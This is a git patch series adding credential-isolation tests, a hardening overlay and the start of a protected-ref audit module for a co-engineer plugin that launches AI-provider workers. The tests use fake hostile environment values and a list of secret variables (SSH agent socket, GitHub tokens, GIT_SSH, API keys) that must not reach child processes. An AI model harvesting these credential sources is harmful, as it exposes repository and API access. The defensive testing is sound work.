+++ b/plugins/codex-co-engineer/test/r1-credential-isolation.test.mjs @@ -0,0 +1,515 @@ +import assert from 'node:assert/strict'; +import { spawn } from 'node:child_process'; +import { EventEmitter } from 'node:events'; +import { lstat, mkdir, mkdtemp, readFile, rm } from 'node:fs/promises'; +import os from 'node:os'; +import path from 'node:path'; +import test, { describe } from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { runAcpTask } from '../mcp/v3/acp-worker.mjs'; +import { + CredentialBoundaryError, + createCredentialHandoff, + denyWorkerRemoteMutation, + installClosedProviderTestInjection, + inspectArgvForSecrets, + inspectEnvForSecrets, + projectProviderEnvironment, + recoverStaleCredentialHandoffs, +} from '../mcp/v3/credential-boundary.mjs'; +import { + classifyGitOperationV1, +} from '../mcp/v3/git-authority.mjs'; +import { + launchProcessBoundary, + ProcessBoundaryError, + restoreProcessBoundary, + stopProcessBoundary, +} from '../mcp/v3/process-boundary.mjs'; +import { + composeProviderDriverV1, + describeProviderRegistryV1, + PROVIDER_REGISTRY_SLOTS, +} from '../mcp/v3/provider-registry.mjs'; +import { submitTask } from '../mcp/v3/supervisor.mjs'; +import { createTask } from '../mcp/v3/task-store.mjs'; +import { HOSTILE_ENV } from './fixtures/r1-credential-boundary-fixtures.mjs'; +import { + ASSIGNMENT_ID, + BASE_SHA, + MANIFEST_DIGEST_HEX, + RUN_ID, + operationRequest, +} from './fixtures/r1-git-authority-fixtures.mjs'; + +const SHA = 'a'.repeat(40); +const FAKE_AGENT = fileURLToPath(new URL('./acpx-fake-agent.mjs', import.meta.url)); +const FAKE_ACPX = fileURLToPath(new URL('./fake-acpx.mjs', import.meta.url)); +const HANDOFF_LOADER = fileURLToPath(new URL('../mcp/v3/credential-handoff-loader.mjs', import.meta.url)); +const AMBIENT_SECRET_KEYS = [ + 'SSH_AUTH_SOCK', 'SSH_AGENT_PID', 'GIT_SSH', 'GIT_SSH_COMMAND', 'GH_TOKEN', + 'GITHUB_TOKEN', 'GITLAB_TOKEN', 'WORKTREE_BOOTSTRAP_TASK', 'MODEL_API_KEY', + 'OPENROUTER_API_KEY', 'CURSOR_API_KEY', +]; + +async function withAmbientSecrets(extra, build) { + const assigned = { ...Object.fromEntries(AMBIENT_SECRET_KEYS.map((key) => [key, HOSTILE_ENV[key]])), ...extra }; + const previous = {}; + for (const [key, value] of Object.entries(assigned)) { + previous[key] = Object.hasOwn(process.env, key) ? process.env[key] : undefined; + if (value === undefined) delete process.env[key]; + else process.env[key] = value; + } + try { + return await build(); + } finally { + for (const [key, value] of Object.entries(previous)) { + if (value === undefined) delete process.env[key]; + else process.env[key] = value; + } + } +} + +function collectStdout(child) { + return new Promise((resolve, reject) => { + let text = ''; + child.stdout.on('data', (chunk) => { text += chunk; }); + child.stderr.on('data', () => {}); + child.once('error', reject); + child.once('close', (code) => { + if (code !== 0) reject(new Error(`child exited ${code}: ${text}`)); + else resolve(text); + }); + }); +} + +function fakeChild(exitCode = 0) { + const child = new EventEmitter(); + child.exitCode = null; + child.signalCode = null; + child.kill = () => { child.emit('exit', null, 'SIGTERM'); }; + queueMicrotask(() => { + child.emit('spawn'); + child.exitCode = exitCode; + child.emit('exit', exitCode, null); + }); + return child; +} + +function showAdapter() { + return { + platform: 'linux', + uid: 1000, + execFile: async (_command, args) => { + const unit = args.find((value) => value.startsWith('codex-co-engineer-') && value.endsWith('.service')) + ?? 'codex-co-engineer-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.service'; + const token = unit.slice('codex-co-engineer-'.length, -'.service'.length); + return { stdout: [ + `Id=${unit}`, + `Description=codex-co-engineer-task:${token}`, + 'LoadState=loaded', + 'ActiveState=active', + `ControlGroup=/user.slice/user-1000.slice/user@1000.service/app.slice/${unit}`, + 'KillMode=control-group', + 'InvocationID=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', + 'MainPID=4242', + ].join('\n') }; + }, + readFile: async () => 'populated 0\nfrozen 0\n', + sleep: async () => {}, + }; +} + +test('hostile environment and systemd-run argv inspection keeps secrets off the client', async () => { + const calls = []; + const host = { + ...showAdapter(), + spawn: (command, args, options) => { + calls.push({ command, args, options }); + return fakeChild(); + }, + }; + const env = { + ...HOSTILE_ENV, + HOME: '/home/test-user', + }; + const launched = await launchProcessBoundary({ + command: '/usr/bin/node', + args: ['worker.mjs'], + cwd: '/workspace/repo', + env: projectProviderEnvironment({ provider: 'grok', source: env, operation: 'lane' }), + stdio: 'ignore', + adapter: host, + }); + assert.equal(calls.length, 1); + const secrets = [ + HOSTILE_ENV.XAI_API_KEY, HOSTILE_ENV.MODEL_API_KEY, HOSTILE_ENV.OPENROUTER_API_KEY, + HOSTILE_ENV.CURSOR_API_KEY, HOSTILE_ENV.GH_TOKEN, HOSTILE_ENV.GIT_SSH_COMMAND, + ]; + assert.equal(inspectArgvForSecrets(calls[0].args, secrets), false); + assert.equal(inspectEnvForSecrets(calls[0].options.env, secrets), false); + assert.equal(calls[0].args.includes('--setenv=XAI_API_KEY=xai-secret-value-abcdef'), false); + assert.equal(calls[0].args.some((entry) => String(entry).includes('credential-handoff-loader.mjs')), true); + assert.equal(calls[0].args.some((entry) => String(entry).startsWith('--setenv=GIT_SSH')), false); + await stopProcessBoundary(launched.handle, { adapter: host, timeoutMs: 100 }); +}); + +test('spawn failure and cancel cleanup remove the credential handoff file', async () => { + const calls = []; + await assert.rejects( + launchProcessBoundary({ + command: '/usr/bin/node', + args: ['worker.mjs'], + cwd: '/workspace/repo', + env: { HOME: '/tmp/home', PATH: '/bin', MODEL_API_KEY: 'cleanup-secret-value' }, + stdio: 'ignore', + adapter: { + ...showAdapter(), + spawn: (command, args, options) => { + calls.push({ command, args, options }); + return fakeChild(1); + }, + }, + }), + (error) => error instanceof ProcessBoundaryError && error.code === 'systemd_run_failed', + ); + assert.equal(inspectArgvForSecrets(calls[0].args, ['cleanup-secret-value']), false); + const handoff = calls[0].args.find((entry) => typeof entry === 'string' && entry.endsWith('env.json')); + assert.equal(typeof handoff, 'string'); + await assert.rejects(import('node:fs/promises').then((fs) => fs.lstat(handoff)), (error) => error.code === 'ENOENT'); +}); + +test('supervisor launch inspects a closed grok environment against a hostile parent', async () => { + const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-p29-supervisor-')); + const repo = path.join(root, 'repo'); + let launched; + try { + await mkdir(repo); + await submitTask({ + task_id: 'p29-grok-isolation', + provider: 'grok', + repo, + prompt: 'do not leak credentials', + workspace_mode: 'direct', + expected_duration_ms: 10_000, + }, { + root, + env: HOSTILE_ENV, + execute: async (_command, args) => { + if (args.includes('--show-toplevel')) return { stdout: `${repo}\n` }; + if (args.includes('--show-current')) return { stdout: 'feature\n' }; + if (args.includes('HEAD')) return { stdout: `${SHA}\n` }; + throw new Error(`unexpected args: ${args.join(' ')}`); + }, + probeBoundary: async () => ({ + ready: true, status: 'prerequisites_ready', provider_started: false, + boundary: 'systemd-user-service-cgroup', + }), + launch: async (request) => { + launched = request; + return { pid: 9101, process_group: 9101, process_start_ticks: '9' }; + }, + }); + assert.equal(launched.env.XAI_API_KEY, HOSTILE_ENV.XAI_API_KEY); + assert.equal(launched.env.GH_TOKEN, undefined); + assert.equal(launched.env.GIT_SSH, undefined); + assert.equal(launched.env.SSH_AUTH_SOCK, undefined); + assert.equal(launched.env.MODEL_API_KEY, undefined); + assert.equal(launched.env.CURSOR_API_KEY, undefined); + assert.equal(launched.env.WORKTREE_BOOTSTRAP_TASK, undefined); + assert.equal(launched.env.CODEX_CO_ENGINEER_MODEL_API_KEY_FILE, undefined); + assert.equal(launched.env.GIT_TERMINAL_PROMPT, '0'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('P23 registry composition and P28 denied operations remain exact', () => { + const inventory = describeProviderRegistryV1(); + assert.deepEqual([...PROVIDER_REGISTRY_SLOTS], ['grok', 'cursor-local', 'cursor-cloud', 'dsh']); + assert.equal(inventory.slots.length, 4); + assert.equal(typeof composeProviderDriverV1, 'function'); + const denied = classifyGitOperationV1(operationRequest({ + operation: 'push', + actor: 'worker', + identity: { + repository_path: '/tmp/cce-r1-authority-repo', + base_sha: BASE_SHA, + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + }, + manifest_digest_hex: MANIFEST_DIGEST_HEX, + })); + assert.equal(denied.verdict, 'denied'); + assert.equal(denied.message.includes('/tmp'), false); + assert.throws(() => denyWorkerRemoteMutation('push'), (error) => ( + error instanceof CredentialBoundaryError && error.code === 'remote_mutation_denied' + )); + assert.throws(() => denyWorkerRemoteMutation('create_pr'), (error) => error.code === 'remote_mutation_denied'); + assert.throws(() => denyWorkerRemoteMutation('merge'), (error) => error.code === 'remote_mutation_denied'); + assert.throws(() => denyWorkerRemoteMutation('rebase'), (error) => error.code === 'remote_mutation_denied'); + assert.throws(() => denyWorkerRemoteMutation('tag_create'), (error) => error.code === 'remote_mutation_denied'); + assert.throws(() => denyWorkerRemoteMutation('release_create'), (error) => error.code === 'remote_mutation_denied'); +}); + +describe('closed Grok and Cursor Local ACP/service projection', { concurrency: 1 }, () => { +test('cursor-local systemd launch unsets manager secrets and always uses the closed loader', async () => { + const calls = []; + await withAmbientSecrets({}, async () => { + const host = { + ...showAdapter(), + spawn: (command, args, options) => { + calls.push({ command, args, options }); + return fakeChild(); + }, + }; + const launched = await launchProcessBoundary({ + command: '/usr/bin/node', + args: ['worker.mjs'], + cwd: '/workspace/repo', + env: projectProviderEnvironment({ provider: 'cursor-local', source: HOSTILE_ENV, operation: 'lane' }), + stdio: 'ignore', + adapter: host, + }); + assert.equal(calls.length, 1); + const unset = calls[0].args.find((entry) => String(entry).startsWith('--property=UnsetEnvironment=')); + assert.equal(typeof unset, 'string'); + assert.equal(unset.includes('SSH_AUTH_SOCK'), true); + assert.equal(unset.includes('GH_TOKEN'), true); + assert.equal(calls[0].args.includes('--setenv=SSH_AUTH_SOCK=/tmp/hostile-agent.sock'), false); + assert.equal(calls[0].args.includes('SSH_AUTH_SOCK=/tmp/hostile-agent.sock'), false); + assert.equal(calls[0].args.includes('/usr/bin/env'), true); + assert.equal(calls[0].args.includes('-i'), true); + assert.equal(calls[0].args.some((entry) => String(entry).includes('credential-handoff-loader.mjs')), true); + assert.equal(inspectArgvForSecrets(calls[0].args, [HOSTILE_ENV.CURSOR_API_KEY, HOSTILE_ENV.XAI_API_KEY, HOSTILE_ENV.GH_TOKEN]), false); + await stopProcessBoundary(launched.handle, { adapter: host, timeoutMs: 100 }); + }); +}); + +test('handoff loader child is a closed projection plus authorized secrets only', async () => { + const created = await createCredentialHandoff({ XAI_API_KEY: HOSTILE_ENV.XAI_API_KEY }); + const child = spawn(process.execPath, [ + HANDOFF_LOADER, created.path, '--', process.execPath, '-e', + 'process.stdout.write(JSON.stringify(process.env))', + ], { + env: (() => { + const env = { + ...HOSTILE_ENV, + PATH: process.env.PATH ?? HOSTILE_ENV.PATH, + HOME: process.env.HOME ?? HOSTILE_ENV.HOME, + }; + delete env.NODE_OPTIONS; + return env; + })(), + stdio: ['ignore', 'pipe', 'pipe'], + }); + const stdout = await collectStdout(child); + const env = JSON.parse(stdout); + assert.equal(env.XAI_API_KEY, HOSTILE_ENV.XAI_API_KEY); + assert.equal(env.PATH, process.env.PATH ?? HOSTILE_ENV.PATH); + for (const key of AMBIENT_SECRET_KEYS) assert.equal(env[key], undefined, key); + assert.equal(env.SSH_AUTH_SOCK, undefined); + assert.equal(env.CURSOR_API_KEY, undefined); + assert.equal(env.MODEL_API_KEY, undefined); + assert.equal(env.CODEX_CO_ENGINEER_CREDENTIAL_HANDOFF, undefined); +}); + +test('supervisor launch inspects a closed cursor-local environment against a hostile parent', async () => { + const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-p29-cursor-local-')); + const repo = path.join(root, 'repo'); + let launched; + try { + await mkdir(repo); + await submitTask({ + task_id: 'p29-cursor-local-isolation', + provider: 'cursor-local', + repo, + prompt: 'do not leak credentials', + workspace_mode: 'direct', + expected_duration_ms: 10_000, + }, { + root, + env: HOSTILE_ENV, + execute: async (_command, args) => { + if (args.includes('--show-toplevel')) return { stdout: `${repo}\n` }; + if (args.includes('--show-current')) return { stdout: 'feature\n' }; + if (args.includes('HEAD')) return { stdout: `${SHA}\n` }; + throw new Error(`unexpected args: ${args.join(' ')}`); + }, + probeBoundary: async () => ({ + ready: true, status: 'prerequisites_ready', provider_started: false, + boundary: 'systemd-user-service-cgroup', + }), + launch: async (request) => { + launched = request; + return { pid: 9102, process_group: 9102, process_start_ticks: '9' }; + }, + }); + assert.equal(launched.env.CURSOR_API_KEY, undefined); + assert.equal(launched.env.XAI_API_KEY, undefined); + assert.equal(launched.env.GH_TOKEN, undefined); + assert.equal(launched.env.SSH_AUTH_SOCK, undefined); + assert.equal(launched.env.GIT_TERMINAL_PROMPT, '0'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +for (const provider of ['grok', 'cursor-local']) { + test(`${provider} ACP children omit manager and process ambient secrets`, async () => { + await withAmbientSecrets({ + XAI_API_KEY: HOSTILE_ENV.XAI_API_KEY, + FAKE_ACPX_HOSTILE: 'ambient-fake-acpx-secret', + }, async () => { + const root = await mkdtemp(path.join(os.tmpdir(), `co-engineer-p29-acp-${provider}-`)); + const cwd = path.join(root, 'worktree'); + try { + await mkdir(cwd); + await createTask({ + root, + prompt: 'review this repository', + record: { + id: `${provider}-ambient`, + status: 'accepted', + provider, + cwd, + agent_argv: [process.execPath, FAKE_AGENT, '--mode', 'normal'], + timeout_ms: 5_000, + }, + }); + const terminal = await runAcpTask({ root, taskId: `${provider}-ambient` }); + assert.equal(terminal.status, 'completed'); + const observed = JSON.parse(await readFile(path.join(cwd, '.acpx-fake-observed.json'), 'utf8')); + assert.equal(observed.env.SSH_AUTH_SOCK, undefined); + assert.equal(observed.env.GH_TOKEN, undefined); + assert.equal(observed.env.GITHUB_TOKEN, undefined); + assert.equal(observed.env.GIT_SSH, undefined); + assert.equal(observed.env.MODEL_API_KEY, undefined); + assert.equal(observed.env.OPENROUTER_API_KEY, undefined); + assert.equal(observed.env.CURSOR_API_KEY, undefined); + assert.equal(observed.env.WORKTREE_BOOTSTRAP_TASK, undefined); + if (provider === 'grok') { + assert.equal(observed.env.XAI_API_KEY, HOSTILE_ENV.XAI_API_KEY); + } else { + assert.equal(observed.env.XAI_API_KEY, undefined); + } + assert.equal(observed.env.FAKE_ACPX_HOSTILE, undefined); + } finally { + await rm(root, { recursive: true, force: true }); + } + }); + }); +} + +test('restart reconstructs handoff identity and cleans without exposing paths or values', async () => { + const runtime = await mkdtemp(path.join(os.tmpdir(), 'cce-p29-restart-')); + const previousRuntime = process.env.XDG_RUNTIME_DIR; + process.env.XDG_RUNTIME_DIR = runtime; + const calls = []; + const host = { + ...showAdapter(), + spawn: (command, args, options) => { + calls.push({ command, args, options }); + return fakeChild(); + }, + }; + try { + const launched = await launchProcessBoundary({ + command: '/usr/bin/node', + args: ['worker.mjs'], + cwd: '/workspace/repo', + env: { HOME: '/home/test-user', PATH: '/bin', MODEL_API_KEY: 'restart-secret-value' }, + stdio: 'ignore', + adapter: host, + }); + const handoff = calls[0].args.find((entry) => typeof entry === 'string' && entry.endsWith('env.json')); + assert.equal(typeof handoff, 'string'); + assert.equal(handoff.startsWith(runtime), true); + assert.equal(JSON.stringify(launched.receipt).includes(handoff), false); + assert.equal(JSON.stringify(launched.receipt).includes('restart-secret-value'), false); + assert.equal(inspectArgvForSecrets(calls[0].args, ['restart-secret-value']), false); + const metadata = await lstat(handoff); + assert.equal(metadata.isFile(), true); + const restored = restoreProcessBoundary(launched.receipt, { adapter: host }); + host.readFile = async () => 'populated 0\nfrozen 0\n'; + await stopProcessBoundary(restored, { adapter: host, timeoutMs: 100 }); + await assert.rejects(lstat(handoff), (error) => error.code === 'ENOENT'); + } finally { + if (previousRuntime === undefined) delete process.env.XDG_RUNTIME_DIR; + else process.env.XDG_RUNTIME_DIR = previousRuntime; + await rm(runtime, { recursive: true, force: true }); + } +}); + +test('stale identity handoffs recover without echoing paths or values', async () => { + const runtime = await mkdtemp(path.join(os.tmpdir(), 'cce-p29-stale-')); + const previousRuntime = process.env.XDG_RUNTIME_DIR; + process.env.XDG_RUNTIME_DIR = runtime; + try { + const created = await createCredentialHandoff( + { MODEL_API_KEY: 'stale-secret-value' }, + { identity: 'deadbeefdeadbeefdeadbeefdeadbeef' }, + ); + await lstat(created.path); + const recovered = await recoverStaleCredentialHandoffs({ directory: runtime }); + assert.equal(recovered.recovered >= 1, true); + await assert.rejects(lstat(created.path), (error) => error.code === 'ENOENT'); + assert.equal(JSON.stringify(recovered).includes(created.path), false); + assert.equal(JSON.stringify(recovered).includes('stale-secret-value'), false); + } finally { + if (previousRuntime === undefined) delete process.env.XDG_RUNTIME_DIR; + else process.env.XDG_RUNTIME_DIR = previousRuntime; + await rm(runtime, { recursive: true, force: true }); + } +}); + +test('DSH ACPX nested children omit ambient FAKE_ACPX and secrets except closed injection', async () => { + const previousCommand = process.env.CODEX_CO_ENGINEER_ACPX_COMMAND; + try { + await withAmbientSecrets({ + FAKE_ACPX_HOSTILE: 'ambient-fake-acpx-secret', + FAKE_ACPX_MODE: 'should-not-win', + MODEL_API_KEY: HOSTILE_ENV.MODEL_API_KEY, + }, async () => { + process.env.CODEX_CO_ENGINEER_ACPX_COMMAND = FAKE_ACPX; + installClosedProviderTestInjection({ FAKE_ACPX_MODE: 'success' }); + const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-p29-dsh-acpx-')); + const cwd = path.join(root, 'worktree'); + try { + await mkdir(cwd); + await createTask({ + root, + prompt: 'do not leak credentials', + record: { + id: 'dsh-ambient', + status: 'accepted', + provider: 'dsh', + cwd, + agent_argv: [process.execPath, FAKE_AGENT, '--mode', 'normal'], + timeout_ms: 5_000, + }, + }); + const terminal = await runAcpTask({ root, taskId: 'dsh-ambient' }); + assert.equal(terminal.status, 'completed'); + const keys = JSON.parse(await readFile(path.join(cwd, '.fake-acpx-env-keys.json'), 'utf8')); + assert.equal(keys.includes('FAKE_ACPX_MODE'), true); + assert.equal(keys.includes('FAKE_ACPX_HOSTILE'), false); + assert.equal(keys.includes('GH_TOKEN'), false); + assert.equal(keys.includes('SSH_AUTH_SOCK'), false); + assert.equal(keys.includes('GITHUB_TOKEN'), false); + assert.equal(keys.includes('WORKTREE_BOOTSTRAP_TASK'), false); + assert.equal(JSON.stringify(keys).includes('ambient-fake-acpx-secret'), false); + assert.equal(JSON.stringify(keys).includes(HOSTILE_ENV.MODEL_API_KEY), false); + } finally { + installClosedProviderTestInjection(null); + await rm(root, { recursive: true, force: true }); + } + }); + } finally { + installClosedProviderTestInjection(null); + if (previousCommand === undefined) delete process.env.CODEX_CO_ENGINEER_ACPX_COMMAND; + else process.env.CODEX_CO_ENGINEER_ACPX_COMMAND = previousCommand; + } +}); +}); diff --git a/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs b/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs index 1e4e0db..7db230a 100644 --- a/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs +++ b/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs @@ -36,6 +36,7 @@ import { } from '../mcp/v3/local-provider-result-sink.mjs'; import { ARTIFACT_SANITIZER_VERSION } from '../mcp/v3/artifact-sanitizer.mjs'; import { attachLocalProviderResultSink, runAcpTask, runCliFallback } from '../mcp/v3/acp-worker.mjs'; +import { installClosedProviderTestInjection } from '../mcp/v3/credential-boundary.mjs'; import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; import { createTask, readTask, updateTask } from '../mcp/v3/task-store.mjs'; import { @@ -413,13 +414,14 @@ async function workerFixture(extra = {}) { } async function withFakeAcpx(mode, callback) { - const names = ['CODEX_CO_ENGINEER_ACPX_COMMAND', 'FAKE_ACPX_MODE']; + const names = ['CODEX_CO_ENGINEER_ACPX_COMMAND']; const previous = Object.fromEntries(names.map((name) => [name, process.env[name]])); process.env.CODEX_CO_ENGINEER_ACPX_COMMAND = FAKE_ACPX; - process.env.FAKE_ACPX_MODE = mode; + installClosedProviderTestInjection({ FAKE_ACPX_MODE: mode }); try { return await callback(); } finally { + installClosedProviderTestInjection(null); for (const name of names) { if (previous[name] === undefined) delete process.env[name]; else process.env[name] = previous[name]; diff --git a/plugins/codex-co-engineer/test/v3-acp-worker.test.mjs b/plugins/codex-co-engineer/test/v3-acp-worker.test.mjs index dd202e0..5e6380b 100644 --- a/plugins/codex-co-engineer/test/v3-acp-worker.test.mjs +++ b/plugins/codex-co-engineer/test/v3-acp-worker.test.mjs @@ -6,6 +6,7 @@ import test from 'node:test'; import { fileURLToPath } from 'node:url'; import { boundedEvent, publicError, runAcpTask, runCliFallback, sanitizeText } from '../mcp/v3/acp-worker.mjs'; +import { installClosedProviderTestInjection } from '../mcp/v3/credential-boundary.mjs'; import { submitReply } from '../mcp/v3/mailbox.mjs'; import { createTask, readTask, updateTask } from '../mcp/v3/task-store.mjs'; @@ -36,17 +37,17 @@ async function fixture(extra = {}) { } async function withFakeAcpx(mode, callback, options = {}) { - const names = ['CODEX_CO_ENGINEER_ACPX_COMMAND', 'FAKE_ACPX_MODE', 'FAKE_ACPX_ARTIFACT_MARKER', 'FAKE_ACPX_DESCENDANT_PID_FILE']; + const names = ['CODEX_CO_ENGINEER_ACPX_COMMAND']; const previous = Object.fromEntries(names.map((name) => [name, process.env[name]])); process.env.CODEX_CO_ENGINEER_ACPX_COMMAND = FAKE_ACPX; - process.env.FAKE_ACPX_MODE = mode; - if (options.artifactMarker) process.env.FAKE_ACPX_ARTIFACT_MARKER = options.artifactMarker; - else delete process.env.FAKE_ACPX_ARTIFACT_MARKER; - if (options.descendantPidFile) process.env.FAKE_ACPX_DESCENDANT_PID_FILE = options.descendantPidFile; - else delete process.env.FAKE_ACPX_DESCENDANT_PID_FILE; + const injection = { FAKE_ACPX_MODE: mode }; + if (options.artifactMarker) injection.FAKE_ACPX_ARTIFACT_MARKER = options.artifactMarker; + if (options.descendantPidFile) injection.FAKE_ACPX_DESCENDANT_PID_FILE = options.descendantPidFile; + installClosedProviderTestInjection(injection); try { return await callback(); } finally { + installClosedProviderTestInjection(null); for (const name of names) { if (previous[name] === undefined) delete process.env[name]; else process.env[name] = previous[name]; diff --git a/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs b/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs index 41f17ba..05f2e1d 100644 --- a/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs +++ b/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs @@ -37,6 +37,37 @@ function fakeChild(exitCode = 0) { return child; } +test('resets inherited manager environment and execs a closed env -i projection', () => { + const argv = buildProcessBoundaryArgv({ + unit: 'codex-co-engineer-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.service', + description: 'codex-co-engineer-task:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + command: '/usr/bin/node', + args: ['worker.mjs'], + cwd: '/workspace/repo', + env: { HOME: '/home/test-user', PATH: '/bin' }, + inherited: { + HOME: '/home/test-user', + PATH: '/usr/bin', + SSH_AUTH_SOCK: '/tmp/hostile-agent.sock', + GH_TOKEN: 'ghp_manager-token', + GIT_SSH: '/tmp/hostile-ssh', + }, + }); + const unset = argv.find((entry) => String(entry).startsWith('--property=UnsetEnvironment=')); + assert.equal(typeof unset, 'string'); + assert.equal(unset.includes('SSH_AUTH_SOCK'), true); + assert.equal(unset.includes('GH_TOKEN'), true); + assert.equal(unset.includes('GIT_SSH'), true); + assert.equal(unset.includes('HOME'), false); + assert.equal(unset.includes('PATH'), false); + assert.equal(argv.includes('--setenv=SSH_AUTH_SOCK=/tmp/hostile-agent.sock'), false); + assert.equal(argv.includes('SSH_AUTH_SOCK=/tmp/hostile-agent.sock'), false); + assert.equal(argv.includes('/usr/bin/env'), true); + assert.equal(argv.includes('-i'), true); + assert.equal(argv.includes('HOME=/home/test-user'), true); + assert.equal(argv.includes('PATH=/bin'), true); +}); + test('builds a manager-owned systemd service without putting credential values in argv', () => { const argv = buildProcessBoundaryArgv({ unit: 'codex-co-engineer-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.service', @@ -55,7 +86,7 @@ test('builds a manager-owned systemd service without putting credential values i '--property=StandardOutput=append:/state/task.log', '--property=StandardError=append:/state/task.log', '--setenv=HOME=/home/test-user', - '--', '/usr/bin/node', 'worker.mjs', '--provider-capability', 'full', + '--', '/usr/bin/env', '-i', 'HOME=/home/test-user', '/usr/bin/node', 'worker.mjs', '--provider-capability', 'full', ]); assert.equal(argv.some((entry) => entry.includes('provider-secret')), false); assert.equal(argv.some((entry) => /MemoryMax|TasksMax|NoNewPrivileges|Private|Restrict|Protect/iu.test(entry)), false); @@ -123,6 +154,9 @@ test('launch preserves cwd, full env, stdio, and provider command while verifyin assert.equal(calls[0].args.includes('worker.mjs'), true); assert.equal(calls[0].args.includes('--setenv=HOME=/home/test-user'), true); assert.equal(calls[0].args.includes('--setenv=PATH=/bin'), true); + assert.equal(calls[0].args.includes('/usr/bin/env'), true); + assert.equal(calls[0].args.includes('-i'), true); + assert.equal(calls[0].args.includes('HOME=/home/test-user'), true); assert.equal(calls[0].args.some((entry) => String(entry).includes('provider-secret')), false); assert.equal(calls[0].args.includes('--setenv=MODEL_API_KEY=provider-secret'), false); assert.equal(value.receipt.boundary, 'systemd-user-service-cgroup'); diff --git a/tools/acpx-vendor/src/hardening-overlay.mjs b/tools/acpx-vendor/src/hardening-overlay.mjs index ecc93e8..e798e08 100644 --- a/tools/acpx-vendor/src/hardening-overlay.mjs +++ b/tools/acpx-vendor/src/hardening-overlay.mjs @@ -247,6 +247,35 @@ async function coEngineerWaitForAgentTree(child, waitMs) { } } +function coEngineerClosedAgentEnvironment(sessionEnv) { + const env = Object.create(null); + if (sessionEnv == null || typeof sessionEnv !== 'object' || Array.isArray(sessionEnv)) return env; + for (const key of Object.keys(sessionEnv)) { + const value = sessionEnv[key]; + if (typeof key !== 'string' || typeof value !== 'string' || key.includes('\0') || value.includes('\0')) continue; + env[key] = value; + } + return env; +} + +/* + * ACPX's upstream builder starts from process.env. Co-Engineer never lets + * ambient Git/SSH/hosting/parent secrets reach Grok or Cursor Local ACP + * children: the child environment is exactly the closed projection passed + * as sessionOptions.env, or empty when that projection is omitted. + */ +buildAgentEnvironment = function coEngineerBuildAgentEnvironment(_authCredentials, sessionEnv) { + return coEngineerClosedAgentEnvironment(sessionEnv); +}; + +AcpRuntimeManager.prototype.createClient = function coEngineerCreateClient(options) { + const next = { + ...options, + closedProviderEnv: options.closedProviderEnv ?? this.options?.closedProviderEnv, + }; + return this.deps.clientFactory?.(next) ?? new AcpClient(next); +}; + /* * ACP agents are detached into their own POSIX process group. Terminal * children spawned by an agent may use their own group, so we snapshot and @@ -256,6 +285,7 @@ AcpClient.prototype.spawnAgentProcess = async function coEngineerSpawnAgentProce const spawnCommand = buildAgentSpawnCommand(plan.spawnCommand, plan.args, process.platform); const spawnedChild = spawn(spawnCommand.command, spawnCommand.args, { ...plan.spawnOptions, + env: coEngineerClosedAgentEnvironment(this.options?.closedProviderEnv ?? this.options?.sessionOptions?.env), detached: process.platform !== 'win32', windowsVerbatimArguments: spawnCommand.windowsVerbatimArguments, }); From 0049b5a3c0dae3bdae1d05c2c29ed749aea1decb Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 16:52:17 +0000 Subject: [PATCH 101/151] feat(boundary): audit live protected and default refs Add the P30 read-only live comparison of declared protected and default refs against immutable expected identities. Observation is argv-only under the accepted P29 inspect environment and consumes P28 classification without wrapping or weakening it. --- .../mcp/v3/protected-ref-audit.mjs | 1183 +++++++++++++++++ 1 file changed, 1183 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/protected-ref-audit.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/protected-ref-audit.mjs b/plugins/codex-co-engineer/mcp/v3/protected-ref-audit.mjs new file mode 100644 index 0000000..cea79e1 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/protected-ref-audit.mjs @@ -0,0 +1,1183 @@ +// ProtectedRefAuditV1 — live read-only comparison of declared +// protected/default refs against immutable expected identities (P30; +// ADR 0001 `gate_a_no_protected_ref_mutation`). +// +// Additive v3 module. It consumes accepted P28 GitAuthorityPolicyV1 and +// P29 credential/remote isolation without wrapping or weakening them. +// Observation is argv-only under the P29 inspect environment with +// isolation flags that cannot create advisory lock files. Receipts and +// errors are content-free: they never echo repository paths, URLs, +// credentials, provider text, or hostile refs. No Git mutation, no +// credential materialization, no remote I/O, no API, no run +// orchestration, no release, and no Gate A authority. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { spawn as nodeSpawn } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { lstat as nodeLstat, readFile as nodeReadFile, realpath as nodeRealpath } from 'node:fs/promises'; +import path from 'node:path'; +import { types as utilTypes } from 'node:util'; + +import { + GIT_INSPECT_ENV, + CredentialBoundaryError, + denyWorkerRemoteMutation, +} from './credential-boundary.mjs'; +import { + MAX_DURATION_MS, + MAX_SEQUENCE, + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, +} from './evidence-bundle.mjs'; +import { + ACTOR_VALUES, + DENIED_OPERATIONS, + GIT_AUTHORITY_POLICY_V1, + GIT_AUTHORITY_SCHEMA_ID, + GIT_AUTHORITY_VERSION, + bindAuthorityIdentityV1, + classifyGitOperationV1, + classifyRefV1, + isProtectedRefV1, + parseGitAuthorityPolicyV1, +} from './git-authority.mjs'; +import { + GIT_EXECUTABLE, + MAX_GIT_ARG_BYTES, + 